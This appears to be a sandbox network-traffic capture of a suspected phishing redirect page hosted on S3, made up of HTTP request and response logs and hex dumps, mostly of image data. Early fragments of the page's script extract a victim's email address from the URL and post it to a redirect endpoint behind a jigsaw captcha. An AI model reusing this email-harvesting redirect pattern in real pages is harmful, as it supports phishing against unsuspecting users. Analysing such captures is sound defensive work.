2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 72 6f 6d 20 61 6e 79 20 73 65 67 6d 65 6e 74 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 65 6d 61 69 6c 52 65 67 65 78 20 3d 20 2f 28 5b 61 2d 7a 41 2d 5a 30 2d 39 2e 5f 25 2b 2d 5d 2b 40 5b 61 2d 7a 41 2d 5a 30 2d 39 2e 2d 5d 2b 5c 2e 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 2f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6d 61 74 63 68 20 3d 20 70 61 74 68 6e 61 6d 65 2e 6d 61 74 63 68 28 65 6d 61 69 6c 52 65 67 65 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 66 6f 72 6d 20 77 69 74 68 20 6d 65 74 68 6f 64 20 50 4f 53 54 20 74 6f 20 2f 61 70 69 2f 72 65 64 69 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 66 6f 72 6d Data Ascii: rom any segment. const emailRegex = /([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/; const match = pathname.match(emailRegex); // Create a form with method POST to /api/redirect const form
2025-02-06 21:52:36 UTC	1378	IN	Data Raw: 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 31 30 30 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 6f 2e 65 6c 2e 6f 6e 73 65 6c 65 63 74 73 74 61 72 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 6f 2e 72 65 66 72 65 73 68 49 63 6f 6e 2e 6f 6e 63 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 2e 72 65 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 6f 2e 6f 6e 52 65 66 72 65 73 68 20 3d 3d 3d 20 22 66 75 6e 63 Data Ascii: et(); }, 1000); } } o.el.onselectstart = function () { return false; }; o.refreshIcon.onclick = function () { o.reset(); if (typeof o.onRefresh === "func
2025-02-06 21:52:36 UTC	333	IN	Data Raw: 61 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 69 6d 67 2e 73 72 63 20 3d 20 61 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 5d 29 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 75 3b 0a 20 20 7d 29 28 29 3b 0a 0a 20 20 65 2e 6a 69 67 73 61 77 20 3d 20 7b 0a 20 20 20 20 69 6e 69 74 3a 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 69 28 65 29 2e 69 6e 69 74 28 29 3b 0a 20 20 20 20 7d 2c 0a 20 20 7d 3b 0a 7d 29 28 77 69 6e 64 6f 77 29 3b 0a 0a 6a 69 67 73 61 77 2e 69 6e 69 74 28 7b 0a 20 20 65 6c 3a 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 61 70 74 63 68 61 22 29 2c 0a 20 20 6f 6e 53 75 63 63 65 73 73 3a 20 66 75 6e 63 Data Ascii: an(); this.img.src = a(); }, }, ]); return u; })(); e.jigsaw = { init: function (e) { return new i(e).init(); }, };})(window);jigsaw.init({ el: document.getElementById("captcha"), onSuccess: func

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:36 UTC	691	OUT	GET /300/150/?image=1037 HTTP/1.1 Host: picsum.photos Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:36 UTC	1044	IN	HTTP/1.1 302 Found Date: Thu, 06 Feb 2025 21:52:36 GMT Content-Length: 0 Connection: close location: https://fastly.picsum.photos/id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw access-control-allow-origin: * Cache-Control: private, no-cache, no-store, must-revalidate vary: Origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F9JHrNAG%2FnMhJOAK%2BGS3hHZFy7hwL%2B1XLDDyeQDwH3GWivz6yANP2UoY3fUnJIL04m%2FaKBfWg5tT%2FKfcwbCwuKa%2FEjwQwu%2BtxynTHFTnZX10b8UzuSc9bB7HtCQ%2BcYU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 90de5e41dfb243ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=2003&rtt_var=784&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1269&delivery_rate=1368322&cwnd=208&unsent_bytes=0&cid=87af807e97708a78&ts=518&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:36 UTC	614	OUT	GET //2.6.3/images/icon_light.f13cff3.png HTTP/1.1 Host: cstaticdun.126.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cdn.jsdelivr.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:37 UTC	887	IN	HTTP/1.1 200 OK Server: Tengine Content-Type: image/png Content-Length: 11413 Connection: close Date: Thu, 06 Feb 2025 20:15:56 GMT Timing-Allow-Origin: * Accept-Ranges: bytes Cache-Control: max-age=43200 Expires: Tue, 14 Jan 2025 06:51:54 GMT Via: ens-cache9.l2nu20-20[0,0,304-0,H], ens-cache1.l2nu20-20[1,0], ens-cache4.l2hk11[35,35,304-0,H], ens-cache6.l2hk11[37,0], ens-cache18.l2de3[0,29,304-0,H], ens-cache11.l2de3[30,0], ens-cache1.de7[0,0,200-0,H], ens-cache4.de7[9,0] Last-Modified: Mon, 07 Nov 2022 05:53:30 GMT Age: 5800 Ali-Swift-Global-Savetime: 1738872956 X-Cache: HIT TCP_MEM_HIT dirn:-2:-2 X-Swift-SaveTime: Thu, 06 Feb 2025 20:45:13 GMT X-Swift-CacheTime: 41443 Access-Control-Allow-Methods: GET,POST,OPTIONS,HEAD Access-Control-Allow-Headers: * Access-Control-Expose-Headers: * Access-Control-Allow-Origin: * EagleId: a3b5839817388787569732399e
2025-02-06 21:52:37 UTC	11413	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 22 00 00 01 d7 08 06 00 00 00 d9 6f 88 dc 00 00 28 23 49 44 41 54 78 01 ec c1 0b bc 96 75 81 28 ea e7 ff 7f 5f 40 16 43 28 b8 80 c5 4d d2 b8 58 a0 96 34 a4 48 ba d4 12 67 d4 72 7b 9c 40 73 2b ba bb 88 a3 c7 19 c3 b1 b4 c6 1a 85 84 d4 69 4b 9b 71 cf 38 e9 2e 53 f7 74 53 2b 6b d2 96 06 69 1a b3 1b 45 72 c0 4b 10 02 4b 90 52 09 e4 b2 be f7 bf bf 73 5e 7e bf c5 92 75 f9 80 b5 d8 9e a3 cf 13 52 4a f6 40 03 7e 8c 2d 21 84 63 74 a3 a8 76 0d 68 c2 11 e8 ab 9b 45 b5 69 40 13 c6 61 39 4e d5 cd a2 ae 35 a0 09 e3 b0 1c 8d 58 a7 9b e5 78 18 f5 98 86 d5 da 6a 40 13 c6 61 39 1a b1 4e 0f 88 e8 8b 77 a3 09 23 b5 6a 40 13 c6 61 39 1a b1 4e 0f 89 38 0d cb 70 18 9a 30 12 0d 68 c2 38 2c 47 23 d6 e9 41 39 36 a0 11 4d 78 Data Ascii: PNGIHDR"o(#IDATxu(_@C(MX4Hgr{@s+iKq8.StS+kiErKKRs^~uRJ@~-!ctvhEi@a9N5Xxj@a9Nw#j@a9N8p0h8,G#A96Mx

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:37 UTC	693	OUT	GET /id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw HTTP/1.1 Host: fastly.picsum.photos Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:37 UTC	598	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7949 Server: nginx Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Type, Picsum-Id Cache-Control: public, max-age=2592000, stale-while-revalidate=60, stale-if-error=43200, immutable Content-Disposition: inline; filename="1037-300x150.jpg" Picsum-Id: 1037 Timing-Allow-Origin: * Accept-Ranges: bytes Age: 0 Date: Thu, 06 Feb 2025 21:52:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740056-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1738878757.101715,VS0,VE394 Vary: Origin
2025-02-06 21:52:37 UTC	1378	IN	Data Raw: ff d8 ff e1 00 e0 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 01 00 00 00 5e 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 13 02 03 00 01 00 00 00 01 00 00 00 69 87 04 00 01 00 00 00 66 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 00 00 07 00 00 90 07 00 04 00 00 00 30 32 31 30 01 91 07 00 04 00 00 00 01 02 03 00 86 92 07 00 17 00 00 00 c0 00 00 00 00 a0 07 00 04 00 00 00 30 31 30 30 01 a0 03 00 01 00 00 00 ff ff 00 00 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 96 00 00 00 00 00 00 00 41 53 43 49 49 00 00 00 50 69 63 73 75 6d 20 49 44 3a 20 31 30 33 37 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 Data Ascii: ExifII*V^(ifHH02100100,ASCIIPicsum ID: 1037C
2025-02-06 21:52:37 UTC	1378	IN	Data Raw: d3 66 ee 9e 53 58 d8 22 ed 43 d5 ee c1 83 94 4a 6c c8 1b fe 9f 54 7c cd 8a 5e 4f 21 e3 23 d0 f4 0d 25 16 ac 50 59 b9 51 08 9b 01 f4 b2 56 ac 16 cb ca 9b 8a 1a e7 bd d1 be f9 33 fa 83 24 73 66 83 88 9b c8 6e 26 75 dc 28 f2 0b 44 dc ee eb 1b 22 64 ca 29 c0 40 82 3d fe ac 7f f2 39 7d aa b4 5a 53 45 1e d7 c8 36 8f 94 48 44 da ff 00 3d 4f 2e 50 a4 9c c8 07 c9 77 43 96 6e 70 61 11 af e5 0b ef 2e f1 4e 95 ce 01 35 34 a6 95 14 9a 0f 59 22 e4 5e 8b d0 71 28 cd 89 f5 09 0b e1 28 f4 ce 91 04 0b 59 38 0c ca 3e 29 52 01 10 b5 d3 c1 73 b4 3c 58 c8 10 ab 24 28 22 40 19 74 08 20 9a 53 5e 9b 22 ee 2e e2 2f 59 2c c3 44 f2 65 2c b2 5c 76 8f 56 3a 96 c2 ca d6 19 38 69 1c 56 3b c0 b9 65 d4 6c 3c 0b 1a 57 47 2d fd 97 0a 03 a8 41 5a 0e 41 c8 39 77 17 71 66 9f 36 29 f3 52 91 df Data Ascii: fSX"CJlT\|^O!#%PYQV3$sfn&u(D"d)@=9}ZSE6HD=O.PwCnpa.N54Y"^q((Y8>)Rs<X$("@t S^"./Y,De,\vV:8iV;el<WG-AZA9wqf6)R
2025-02-06 21:52:37 UTC	1378	IN	Data Raw: b4 bb 2e 6a 92 ad 21 3c 2c 2c 27 da 36 04 38 d6 5d 93 ae cb 32 cc 9a 41 c5 a4 d2 6d cd 31 c3 ee b1 2c ab 09 b1 32 b1 97 59 e6 4f c0 7e 35 d6 6f dd 5c 2c a0 d3 be cc a7 0a e9 d6 53 26 d8 de c2 ea c9 8e db cb 92 c6 c7 75 d6 77 e3 3f 30 be eb fe ef 17 58 dc ef c1 24 f1 7e c8 f6 4d d9 36 d0 16 30 8a 27 6f ff c4 00 26 10 00 03 00 02 02 02 02 02 03 00 03 00 00 00 00 00 00 01 11 21 31 41 51 10 61 71 81 20 91 a1 b1 c1 30 d1 e1 ff da 00 08 01 01 00 01 3f 21 48 48 84 21 09 e2 10 84 21 3f 08 42 10 9e 21 08 35 c0 e5 f1 3d 68 50 96 4f 0c ca 47 ad 51 16 2d 55 2a 32 c8 dd d6 46 c9 12 ef 04 6a a5 d9 93 58 e4 93 8f 58 da ac 9b f6 c6 93 f4 7e c8 42 10 84 21 08 42 10 84 21 08 42 10 84 21 08 42 10 71 1f 99 b6 20 87 52 34 8e 13 72 37 b0 c6 b6 22 62 18 8e 05 41 6d b6 c2 69 ed Data Ascii: .j!<,,'68]2Am1,2YO~5o\,S&uw?0X$~M60'o&!1AQaq 0?!HH!!?B!5=hPOGQ-U*2FjXX~B!B!B!Bq R4r7"bAmi
2025-02-06 21:52:37 UTC	1378	IN	Data Raw: d7 f6 2d 9b 18 c8 8c 4f d0 c2 fa fc 15 66 4e 47 7b 89 2e 60 78 51 43 dc 84 d1 dd 31 7b 14 f3 c0 f5 4d 9b 09 3d 75 e2 f9 a2 a2 49 f6 68 7d 03 2f f5 11 16 e5 ea 7d b1 e8 9a fd 1f 44 25 6d 49 35 a1 fb ff 00 06 30 b4 68 64 42 ab 0e 3e 0c c0 6f a1 cb e4 24 2b b1 4d fc 8e 84 87 07 d1 47 50 e2 4d 58 a3 cc 13 cf 8a 2d 8b 08 8c b0 bb 22 f2 74 61 21 7c 94 f8 1e a9 ef 42 dc b7 f0 8b 85 42 77 63 2d 56 b4 ca 72 f7 09 36 95 6b d2 1b 34 3c 60 f2 27 1f 62 d1 f6 1b 4a b4 eb 27 07 b3 45 59 ec c1 cd 17 20 da 67 94 c0 f7 12 08 9a ac 4e 06 11 ac d6 07 88 98 98 d9 7c a6 79 23 65 92 2a a5 44 ed b3 35 4e 31 b1 6a d6 d5 09 a5 82 bc 29 e9 98 fc 11 85 c2 10 f3 d7 6c 8a aa fd 8b 18 58 19 35 32 ad bb 80 84 a4 b9 1a 0d 5d 66 53 1b 8f 0d 92 dd 19 64 58 d2 f4 30 9f 1d 0b 3a 24 28 da b7 Data Ascii: -OfNG{.`xQC1{M=uIh}/}D%mI50hdB>o$+MGPMX-"ta!\|BBwc-Vr6k4<`'bJ'EY gN\|y#e*D5N1j)lX52]fSdX0:$(
2025-02-06 21:52:37 UTC	1378	IN	Data Raw: 76 36 ef 8a 81 6a 73 29 93 be 2e a1 6e 18 a0 bc cf 67 88 1e a5 24 58 d2 af 85 f3 10 40 a1 b5 bc cb f0 e0 6a db fc 4b d7 52 80 d7 b8 fc 56 b9 ef f7 05 c5 87 2a 42 f1 85 55 05 d7 98 fb c8 02 2a ae dc f3 dd 54 b9 82 9e a6 85 88 ec ab b7 ac 54 55 05 18 83 b7 62 83 f1 98 45 bf 02 2a 11 50 f6 87 fe 4f 48 c3 68 fe 06 18 61 3c 46 1f b4 41 40 32 56 b5 fd 5c 0f c5 a6 df a5 62 29 95 78 87 39 a5 ae b8 e6 03 cc c2 8b 65 c6 17 77 2a 3d 81 4e 4b ee 0d 8c 01 80 ae 3d 46 dc e8 18 cd 4d 34 ad b6 5d 44 b5 17 59 54 29 39 7b b1 8b db c5 61 94 d4 4d e2 69 1c d9 57 a6 1c 42 98 ab 11 a7 36 a6 fa 96 07 82 28 e4 a0 61 74 c6 77 1d a4 05 2d 06 04 a8 1e 20 10 3c 4a 75 0f c0 4d a6 91 87 c2 31 5e 22 38 8f e0 06 ad 25 e7 40 d7 94 48 8d 42 58 5e 50 e1 bc 54 7f 8c a0 56 31 69 f9 97 02 88 Data Ascii: v6js).ng$X@jKRVBUTTUbEPOHha<FA@2V\b)x9ew=NK=FM4]DYT)9{aMiWB6(atw- <JuM1^"8%@HBX^PTV1i
2025-02-06 21:52:37 UTC	1059	IN	Data Raw: 8d 8f 1f 33 6b fc c7 08 5c 6b 68 bc cb b9 b4 31 01 8a 1c fb 4b 25 65 b7 a4 ee f9 88 04 47 31 95 5c 0c 86 e1 70 90 66 b6 98 f5 1d 28 55 df f9 c4 de 55 16 55 9c 41 85 08 f8 c7 09 13 30 1d d5 c3 d1 7b 86 9e 66 e2 3d d3 17 fe a8 04 57 81 60 3d b2 ae d5 d5 e0 17 3f ab 8c bc 0e 72 6a 60 c1 dd 94 8d b7 b0 64 a8 16 c1 29 5f d2 53 78 20 03 57 d1 04 6b 07 03 c7 b9 4e 6f e3 b8 9b 39 5e 66 72 ae 48 84 11 4e 69 ab 96 dc ce 21 04 1e c2 ce 58 0d af 65 fc 45 a0 dd 89 7e 2e 5a 1b 86 20 bc e6 0e 00 4e f2 5a ce 18 ee 76 b9 83 2d 3d 38 72 a8 91 ee 87 5f 71 1b 63 6c 64 0e a2 ac 0d a6 b0 09 64 85 40 2c a5 ff 00 31 40 b1 52 a8 5f de 63 db 0d 58 53 f1 12 ef 92 ab 37 ae 62 f1 9e 98 78 a1 63 4b b8 dc 90 04 cc 50 a0 a3 55 94 70 2d 66 5e 97 c4 b1 1c 95 76 c0 b6 15 e8 53 1c 88 2a b0 Data Ascii: 3k\kh1K%eG1\pf(UUUA0{f=W`=?rj`d)_Sx WkNo9^frHNi!XeE~.Z NZv-=8r_qcldd@,1@R_cXS7bxcKPUp-f^vS*

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:38 UTC	412	OUT	GET /id/1037/300/150.jpg?hmac=vWoq0rMWMMztc0DtuvnRBEN7tEeE6OzGelVai8xdjrw HTTP/1.1 Host: fastly.picsum.photos Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:38 UTC	510	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7949 Server: nginx Content-Type: image/jpeg Cache-Control: public, max-age=2592000, stale-while-revalidate=60, stale-if-error=43200, immutable Content-Disposition: inline; filename="1037-300x150.jpg" Picsum-Id: 1037 Timing-Allow-Origin: * Accept-Ranges: bytes Age: 0 Date: Thu, 06 Feb 2025 21:52:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740047-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1738878758.074665,VS0,VE113 Vary: Origin
2025-02-06 21:52:38 UTC	1378	IN	Data Raw: ff d8 ff e1 00 e0 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 01 00 00 00 5e 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 13 02 03 00 01 00 00 00 01 00 00 00 69 87 04 00 01 00 00 00 66 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 00 00 07 00 00 90 07 00 04 00 00 00 30 32 31 30 01 91 07 00 04 00 00 00 01 02 03 00 86 92 07 00 17 00 00 00 c0 00 00 00 00 a0 07 00 04 00 00 00 30 31 30 30 01 a0 03 00 01 00 00 00 ff ff 00 00 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 96 00 00 00 00 00 00 00 41 53 43 49 49 00 00 00 50 69 63 73 75 6d 20 49 44 3a 20 31 30 33 37 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 Data Ascii: ExifII*V^(ifHH02100100,ASCIIPicsum ID: 1037C
2025-02-06 21:52:38 UTC	1378	IN	Data Raw: d3 66 ee 9e 53 58 d8 22 ed 43 d5 ee c1 83 94 4a 6c c8 1b fe 9f 54 7c cd 8a 5e 4f 21 e3 23 d0 f4 0d 25 16 ac 50 59 b9 51 08 9b 01 f4 b2 56 ac 16 cb ca 9b 8a 1a e7 bd d1 be f9 33 fa 83 24 73 66 83 88 9b c8 6e 26 75 dc 28 f2 0b 44 dc ee eb 1b 22 64 ca 29 c0 40 82 3d fe ac 7f f2 39 7d aa b4 5a 53 45 1e d7 c8 36 8f 94 48 44 da ff 00 3d 4f 2e 50 a4 9c c8 07 c9 77 43 96 6e 70 61 11 af e5 0b ef 2e f1 4e 95 ce 01 35 34 a6 95 14 9a 0f 59 22 e4 5e 8b d0 71 28 cd 89 f5 09 0b e1 28 f4 ce 91 04 0b 59 38 0c ca 3e 29 52 01 10 b5 d3 c1 73 b4 3c 58 c8 10 ab 24 28 22 40 19 74 08 20 9a 53 5e 9b 22 ee 2e e2 2f 59 2c c3 44 f2 65 2c b2 5c 76 8f 56 3a 96 c2 ca d6 19 38 69 1c 56 3b c0 b9 65 d4 6c 3c 0b 1a 57 47 2d fd 97 0a 03 a8 41 5a 0e 41 c8 39 77 17 71 66 9f 36 29 f3 52 91 df Data Ascii: fSX"CJlT\|^O!#%PYQV3$sfn&u(D"d)@=9}ZSE6HD=O.PwCnpa.N54Y"^q((Y8>)Rs<X$("@t S^"./Y,De,\vV:8iV;el<WG-AZA9wqf6)R
2025-02-06 21:52:38 UTC	1378	IN	Data Raw: b4 bb 2e 6a 92 ad 21 3c 2c 2c 27 da 36 04 38 d6 5d 93 ae cb 32 cc 9a 41 c5 a4 d2 6d cd 31 c3 ee b1 2c ab 09 b1 32 b1 97 59 e6 4f c0 7e 35 d6 6f dd 5c 2c a0 d3 be cc a7 0a e9 d6 53 26 d8 de c2 ea c9 8e db cb 92 c6 c7 75 d6 77 e3 3f 30 be eb fe ef 17 58 dc ef c1 24 f1 7e c8 f6 4d d9 36 d0 16 30 8a 27 6f ff c4 00 26 10 00 03 00 02 02 02 02 02 03 00 03 00 00 00 00 00 00 01 11 21 31 41 51 10 61 71 81 20 91 a1 b1 c1 30 d1 e1 ff da 00 08 01 01 00 01 3f 21 48 48 84 21 09 e2 10 84 21 3f 08 42 10 9e 21 08 35 c0 e5 f1 3d 68 50 96 4f 0c ca 47 ad 51 16 2d 55 2a 32 c8 dd d6 46 c9 12 ef 04 6a a5 d9 93 58 e4 93 8f 58 da ac 9b f6 c6 93 f4 7e c8 42 10 84 21 08 42 10 84 21 08 42 10 84 21 08 42 10 71 1f 99 b6 20 87 52 34 8e 13 72 37 b0 c6 b6 22 62 18 8e 05 41 6d b6 c2 69 ed Data Ascii: .j!<,,'68]2Am1,2YO~5o\,S&uw?0X$~M60'o&!1AQaq 0?!HH!!?B!5=hPOGQ-U*2FjXX~B!B!B!Bq R4r7"bAmi
2025-02-06 21:52:38 UTC	1378	IN	Data Raw: d7 f6 2d 9b 18 c8 8c 4f d0 c2 fa fc 15 66 4e 47 7b 89 2e 60 78 51 43 dc 84 d1 dd 31 7b 14 f3 c0 f5 4d 9b 09 3d 75 e2 f9 a2 a2 49 f6 68 7d 03 2f f5 11 16 e5 ea 7d b1 e8 9a fd 1f 44 25 6d 49 35 a1 fb ff 00 06 30 b4 68 64 42 ab 0e 3e 0c c0 6f a1 cb e4 24 2b b1 4d fc 8e 84 87 07 d1 47 50 e2 4d 58 a3 cc 13 cf 8a 2d 8b 08 8c b0 bb 22 f2 74 61 21 7c 94 f8 1e a9 ef 42 dc b7 f0 8b 85 42 77 63 2d 56 b4 ca 72 f7 09 36 95 6b d2 1b 34 3c 60 f2 27 1f 62 d1 f6 1b 4a b4 eb 27 07 b3 45 59 ec c1 cd 17 20 da 67 94 c0 f7 12 08 9a ac 4e 06 11 ac d6 07 88 98 98 d9 7c a6 79 23 65 92 2a a5 44 ed b3 35 4e 31 b1 6a d6 d5 09 a5 82 bc 29 e9 98 fc 11 85 c2 10 f3 d7 6c 8a aa fd 8b 18 58 19 35 32 ad bb 80 84 a4 b9 1a 0d 5d 66 53 1b 8f 0d 92 dd 19 64 58 d2 f4 30 9f 1d 0b 3a 24 28 da b7 Data Ascii: -OfNG{.`xQC1{M=uIh}/}D%mI50hdB>o$+MGPMX-"ta!\|BBwc-Vr6k4<`'bJ'EY gN\|y#e*D5N1j)lX52]fSdX0:$(
2025-02-06 21:52:38 UTC	1378	IN	Data Raw: 76 36 ef 8a 81 6a 73 29 93 be 2e a1 6e 18 a0 bc cf 67 88 1e a5 24 58 d2 af 85 f3 10 40 a1 b5 bc cb f0 e0 6a db fc 4b d7 52 80 d7 b8 fc 56 b9 ef f7 05 c5 87 2a 42 f1 85 55 05 d7 98 fb c8 02 2a ae dc f3 dd 54 b9 82 9e a6 85 88 ec ab b7 ac 54 55 05 18 83 b7 62 83 f1 98 45 bf 02 2a 11 50 f6 87 fe 4f 48 c3 68 fe 06 18 61 3c 46 1f b4 41 40 32 56 b5 fd 5c 0f c5 a6 df a5 62 29 95 78 87 39 a5 ae b8 e6 03 cc c2 8b 65 c6 17 77 2a 3d 81 4e 4b ee 0d 8c 01 80 ae 3d 46 dc e8 18 cd 4d 34 ad b6 5d 44 b5 17 59 54 29 39 7b b1 8b db c5 61 94 d4 4d e2 69 1c d9 57 a6 1c 42 98 ab 11 a7 36 a6 fa 96 07 82 28 e4 a0 61 74 c6 77 1d a4 05 2d 06 04 a8 1e 20 10 3c 4a 75 0f c0 4d a6 91 87 c2 31 5e 22 38 8f e0 06 ad 25 e7 40 d7 94 48 8d 42 58 5e 50 e1 bc 54 7f 8c a0 56 31 69 f9 97 02 88 Data Ascii: v6js).ng$X@jKRVBUTTUbEPOHha<FA@2V\b)x9ew=NK=FM4]DYT)9{aMiWB6(atw- <JuM1^"8%@HBX^PTV1i
2025-02-06 21:52:38 UTC	1059	IN	Data Raw: 8d 8f 1f 33 6b fc c7 08 5c 6b 68 bc cb b9 b4 31 01 8a 1c fb 4b 25 65 b7 a4 ee f9 88 04 47 31 95 5c 0c 86 e1 70 90 66 b6 98 f5 1d 28 55 df f9 c4 de 55 16 55 9c 41 85 08 f8 c7 09 13 30 1d d5 c3 d1 7b 86 9e 66 e2 3d d3 17 fe a8 04 57 81 60 3d b2 ae d5 d5 e0 17 3f ab 8c bc 0e 72 6a 60 c1 dd 94 8d b7 b0 64 a8 16 c1 29 5f d2 53 78 20 03 57 d1 04 6b 07 03 c7 b9 4e 6f e3 b8 9b 39 5e 66 72 ae 48 84 11 4e 69 ab 96 dc ce 21 04 1e c2 ce 58 0d af 65 fc 45 a0 dd 89 7e 2e 5a 1b 86 20 bc e6 0e 00 4e f2 5a ce 18 ee 76 b9 83 2d 3d 38 72 a8 91 ee 87 5f 71 1b 63 6c 64 0e a2 ac 0d a6 b0 09 64 85 40 2c a5 ff 00 31 40 b1 52 a8 5f de 63 db 0d 58 53 f1 12 ef 92 ab 37 ae 62 f1 9e 98 78 a1 63 4b b8 dc 90 04 cc 50 a0 a3 55 94 70 2d 66 5e 97 c4 b1 1c 95 76 c0 b6 15 e8 53 1c 88 2a b0 Data Ascii: 3k\kh1K%eG1\pf(UUUA0{f=W`=?rj`d)_Sx WkNo9^frHNi!XeE~.Z NZv-=8r_qcldd@,1@R_cXS7bxcKPUp-f^vS*

Timestamp	Bytes transferred	Direction	Data
